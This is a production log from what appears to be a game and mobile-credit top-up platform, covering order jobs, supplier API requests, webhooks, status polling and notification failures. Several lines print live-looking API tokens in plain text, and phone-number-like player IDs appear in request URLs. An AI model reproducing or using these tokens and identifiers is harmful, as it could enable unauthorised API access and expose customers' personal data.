[2026-03-24 16:43:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 16:43:56] production.INFO: Constructing job for order: 178931  
[2026-03-24 16:43:59] production.INFO: Handling job for order: 178931  
[2026-03-24 16:43:59] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:43:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:43:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=21cad172-2250-42a3-9086-84e098e2d099&Player_ID=0946955405  
[2026-03-24 16:43:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=21cad172-2250-42a3-9086-84e098e2d099&Player_ID=0946955405","has_body":false} 
[2026-03-24 16:44:00] production.INFO: Operation sent successfully {"operation_id":163839,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wh8IeF-1774359839","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:44:00"}},"processed_data":{"order_number":"ORD-wh8IeF-1774359839","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:44:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-9KvGE3-1774359772","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 16:44:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-9KvGE3-1774359772","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 16:44:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:44:02] production.INFO: SendAcceptReject: Notification queued {"user_id":1028,"notification_type":"order_approved","reference_id":178929} 
[2026-03-24 16:44:02] production.INFO: Order updated successfully. Order ID: 178929, Status: completed  
[2026-03-24 16:44:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-9KvGE3-1774359772","status":"completed","codes_count":0} 
[2026-03-24 16:44:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03"} 
[2026-03-24 16:44:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","total_operations":4,"sites_count":2} 
[2026-03-24 16:44:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-vaAee9-1774358736","ORD-KedZ-1774359412","ORD-lYS2sUw-1774359433"]} 
[2026-03-24 16:44:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:44:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 16:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-KedZ-1774359412","operation_id":163821} 
[2026-03-24 16:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lYS2sUw-1774359433","operation_id":163824} 
[2026-03-24 16:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:44:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 16:44:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 16:44:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":1,"order_ids":["ORD-wh8IeF-1774359839"]} 
[2026-03-24 16:44:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:44:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":1} 
[2026-03-24 16:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839} 
[2026-03-24 16:44:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 16:44:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"processed":0,"errors":0} 
[2026-03-24 16:44:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6aRJC7YTUlH1p8zPOm2v4GZG5Mvb8gw2","execution_time":"2026-03-24 16:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839} 
[2026-03-24 16:44:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1028  
[2026-03-24 16:44:32] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-KedZ-1774359412","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 16:44:32] production.INFO: Processed webhook data (normalized) {"id":"ORD-KedZ-1774359412","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 16:44:32] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 16:44:32] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_rejected","reference_id":178913} 
[2026-03-24 16:44:32] production.INFO: Order updated successfully. Order ID: 178913, Status: rejected  
[2026-03-24 16:44:32] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-KedZ-1774359412","status":"rejected","codes_count":0} 
[2026-03-24 16:44:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 16:44:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 16:44:48] production.INFO: Constructing job for order: 178932  
[2026-03-24 16:44:49] production.INFO: Handling job for order: 178932  
[2026-03-24 16:44:49] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:44:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:44:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/13/params?qty=1&uuid=8fc68f50-ae1e-4c1d-b54b-3a2ec9c479fe&Player_ID=0962751719  
[2026-03-24 16:44:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/13/params?qty=1&uuid=8fc68f50-ae1e-4c1d-b54b-3a2ec9c479fe&Player_ID=0962751719","has_body":false} 
[2026-03-24 16:44:49] production.INFO: Operation sent successfully {"operation_id":163840,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-p2W-1774359889","amount":295.49407999999999674400896765291690826416015625,"status":"processing","product":"280 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:44:49"}},"processed_data":{"order_number":"ORD-p2W-1774359889","amount":295.49407999999999674400896765291690826416015625,"status":"processing","product":"280 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:44:56] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-lYS2sUw-1774359433","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 16:44:56] production.INFO: Processed webhook data (normalized) {"id":"ORD-lYS2sUw-1774359433","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 16:44:56] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 16:44:56] production.INFO: SendAcceptReject: Notification queued {"user_id":36,"notification_type":"order_rejected","reference_id":178916} 
[2026-03-24 16:44:56] production.INFO: Order updated successfully. Order ID: 178916, Status: rejected  
[2026-03-24 16:44:56] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-lYS2sUw-1774359433","status":"rejected","codes_count":0} 
[2026-03-24 16:44:58] production.ERROR: FCM send failed for token 78: Requested entity was not found.  
[2026-03-24 16:44:59] production.ERROR: FCM send failed for token 97: Requested entity was not found.  
[2026-03-24 16:44:59] production.ERROR: FCM send failed for token 126: Requested entity was not found.  
[2026-03-24 16:44:59] production.ERROR: FCM send failed for token 78: Requested entity was not found.  
[2026-03-24 16:44:59] production.ERROR: FCM send failed for token 97: Requested entity was not found.  
[2026-03-24 16:44:59] production.ERROR: FCM send failed for token 126: Requested entity was not found.  
[2026-03-24 16:45:02] production.INFO: Constructing job for order: 178933  
[2026-03-24 16:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 16:45:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 16:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 16:45:04] production.INFO: async() رجع: true  
[2026-03-24 16:45:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 16:45:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 16:45:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 16:45:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 16:45:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 16:45:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 16:45:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 16:45:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 16:45:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 16:45:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 16:45:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 16:45:06] production.INFO: Handling job for order: 178933  
[2026-03-24 16:45:06] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:45:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:45:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=1e0e1136-9056-4000-8b56-baeb7dca8aa7&Player_ID=0962751719  
[2026-03-24 16:45:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=1e0e1136-9056-4000-8b56-baeb7dca8aa7&Player_ID=0962751719","has_body":false} 
[2026-03-24 16:45:06] production.INFO: Operation sent successfully {"operation_id":163841,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-s8s-1774359906","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:45:06"}},"processed_data":{"order_number":"ORD-s8s-1774359906","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:46:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:03"} 
[2026-03-24 16:46:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:03","total_operations":4,"sites_count":2} 
[2026-03-24 16:46:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-vaAee9-1774358736"]} 
[2026-03-24 16:46:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:46:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 16:46:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:46:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 16:46:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 16:46:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":3,"order_ids":["ORD-wh8IeF-1774359839","ORD-p2W-1774359889","ORD-s8s-1774359906"]} 
[2026-03-24 16:46:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:46:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":3} 
[2026-03-24 16:46:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 16:46:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 16:46:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"count":3} 
[2026-03-24 16:46:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"count":3} 
[2026-03-24 16:46:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"user_id":107,"notification_type":"order_approved","reference_id":178932} 
[2026-03-24 16:46:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"user_id":107,"notification_type":"order_approved","reference_id":178933} 
[2026-03-24 16:46:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"user_id":442,"notification_type":"order_approved","reference_id":178931} 
[2026-03-24 16:46:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 16:46:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 16:46:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"processed":3,"errors":0} 
[2026-03-24 16:46:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839,"processed":3,"errors":0} 
[2026-03-24 16:46:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"nbw2JZlyxS6g3iQm1XsMdBGyl3alYePV","execution_time":"2026-03-24 16:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wh8IeF-1774359839","operation_id":163839} 
[2026-03-24 16:46:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 16:46:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 16:46:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 442  
[2026-03-24 16:46:44] production.INFO: Constructing job for order: 178934  
[2026-03-24 16:46:46] production.INFO: Handling job for order: 178934  
[2026-03-24 16:46:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:46:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:46:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=02ee80f4-7425-4f55-8ebb-47030a30f8d6&Player_ID=7604004546  
[2026-03-24 16:46:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=02ee80f4-7425-4f55-8ebb-47030a30f8d6&Player_ID=7604004546","has_body":false} 
[2026-03-24 16:46:47] production.INFO: Operation sent successfully {"operation_id":163842,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-v2kYVXi-1774360006","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:46:47"}},"processed_data":{"order_number":"ORD-v2kYVXi-1774360006","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:46:51] production.INFO: Constructing job for order: 178935  
[2026-03-24 16:46:53] production.INFO: Handling job for order: 178935  
[2026-03-24 16:46:53] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:46:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:46:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=827928a2-bc8c-491c-b5a6-7cfa8e8f8cb1&Player_ID=7604004546  
[2026-03-24 16:46:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=827928a2-bc8c-491c-b5a6-7cfa8e8f8cb1&Player_ID=7604004546","has_body":false} 
[2026-03-24 16:46:54] production.INFO: Operation sent successfully {"operation_id":163843,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lqvC0BFg-1774360013","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:46:53"}},"processed_data":{"order_number":"ORD-lqvC0BFg-1774360013","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:47:26] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-v2kYVXi-1774360006","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:47:26] production.INFO: Processed webhook data (normalized) {"id":"ORD-v2kYVXi-1774360006","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:47:26] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:47:26] production.INFO: SendAcceptReject: Notification queued {"user_id":529,"notification_type":"order_approved","reference_id":178934} 
[2026-03-24 16:47:26] production.INFO: Order updated successfully. Order ID: 178934, Status: completed  
[2026-03-24 16:47:26] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-v2kYVXi-1774360006","status":"completed","codes_count":0} 
[2026-03-24 16:47:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 529  
[2026-03-24 16:47:32] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158437528","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpdsepvbhu713b5ci2eJV"}},"user_id":769} 
[2026-03-24 16:47:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 16:47:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 16:47:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 16:47:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 16:47:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 16:47:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 16:47:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 16:47:33] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 16:47:33] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18654,"user_id":769,"amount":1000.0,"admins_notified":7} 
[2026-03-24 16:47:38] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-lqvC0BFg-1774360013","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:47:38] production.INFO: Processed webhook data (normalized) {"id":"ORD-lqvC0BFg-1774360013","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:47:38] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:47:38] production.INFO: SendAcceptReject: Notification queued {"user_id":529,"notification_type":"order_approved","reference_id":178935} 
[2026-03-24 16:47:38] production.INFO: Order updated successfully. Order ID: 178935, Status: completed  
[2026-03-24 16:47:38] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-lqvC0BFg-1774360013","status":"completed","codes_count":0} 
[2026-03-24 16:47:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 529  
[2026-03-24 16:47:48] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158437528","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpfee7rhuve4kh9MHaRbd"}},"user_id":769} 
[2026-03-24 16:48:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Nrwv0D0vqR2zQYGhHPwLjI38I9XwMp2e","execution_time":"2026-03-24 16:48:03"} 
[2026-03-24 16:48:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Nrwv0D0vqR2zQYGhHPwLjI38I9XwMp2e","execution_time":"2026-03-24 16:48:03","total_operations":1,"sites_count":1} 
[2026-03-24 16:48:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Nrwv0D0vqR2zQYGhHPwLjI38I9XwMp2e","execution_time":"2026-03-24 16:48:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-vaAee9-1774358736"]} 
[2026-03-24 16:48:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Nrwv0D0vqR2zQYGhHPwLjI38I9XwMp2e","execution_time":"2026-03-24 16:48:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:48:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Nrwv0D0vqR2zQYGhHPwLjI38I9XwMp2e","execution_time":"2026-03-24 16:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 16:48:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Nrwv0D0vqR2zQYGhHPwLjI38I9XwMp2e","execution_time":"2026-03-24 16:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
